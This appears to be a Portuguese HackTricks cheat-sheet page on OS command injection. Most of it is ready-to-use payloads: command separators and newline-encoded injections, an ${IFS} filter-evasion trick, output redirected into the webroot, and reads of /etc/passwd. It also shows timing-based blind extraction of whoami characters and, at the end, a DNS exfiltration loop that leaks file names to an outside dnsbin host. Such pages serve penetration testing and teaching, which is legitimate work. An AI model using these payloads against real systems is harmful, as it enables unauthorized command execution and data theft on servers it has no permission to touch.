Compartilhe seus truques de hacking enviando PRs para oHackTricks e HackTricks Cloud repositórios do github.
Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Tenha Acesso Hoje:
O que é Injeção de Comando?
Uma injeção de comando permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos geralmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
Contexto
Dependendo de onde sua entrada está sendo injetada você pode precisar encerrar o contexto citado (usando " ou ') antes dos comandos.
Injeção/Execução de Comando
#Both Unix and Windows supportedls||id; ls||id; ls||id; ls||id# Execute bothls|id; ls|id; ls|id; ls|id# Execute both (using a pipe)ls&&id; ls&&id; ls&&id; ls&&id# Execute 2º if 1º finish okls&id; ls&id; ls&id; ls&id# Execute both but you can only see the output of the 2ºls%0Aid# %0A Execute both (RECOMMENDED)#Only unix supported`ls`# ``$(ls)# $()ls; id# ; Chain commandsls${LS_COLORS:10:1}${IFS}id# Might be useful#Not executed but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
Bypasses de Limitação
Se você está tentando executar comandos arbitrários dentro de uma máquina Linux, você ficará interessado em ler sobre esses Bypasses:
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de execução de código remoto (de link):
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
Exfiltração de dados baseada em DNS
Com base na ferramenta de https://github.com/HoLyVieR/dnsbin também hospedada em dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done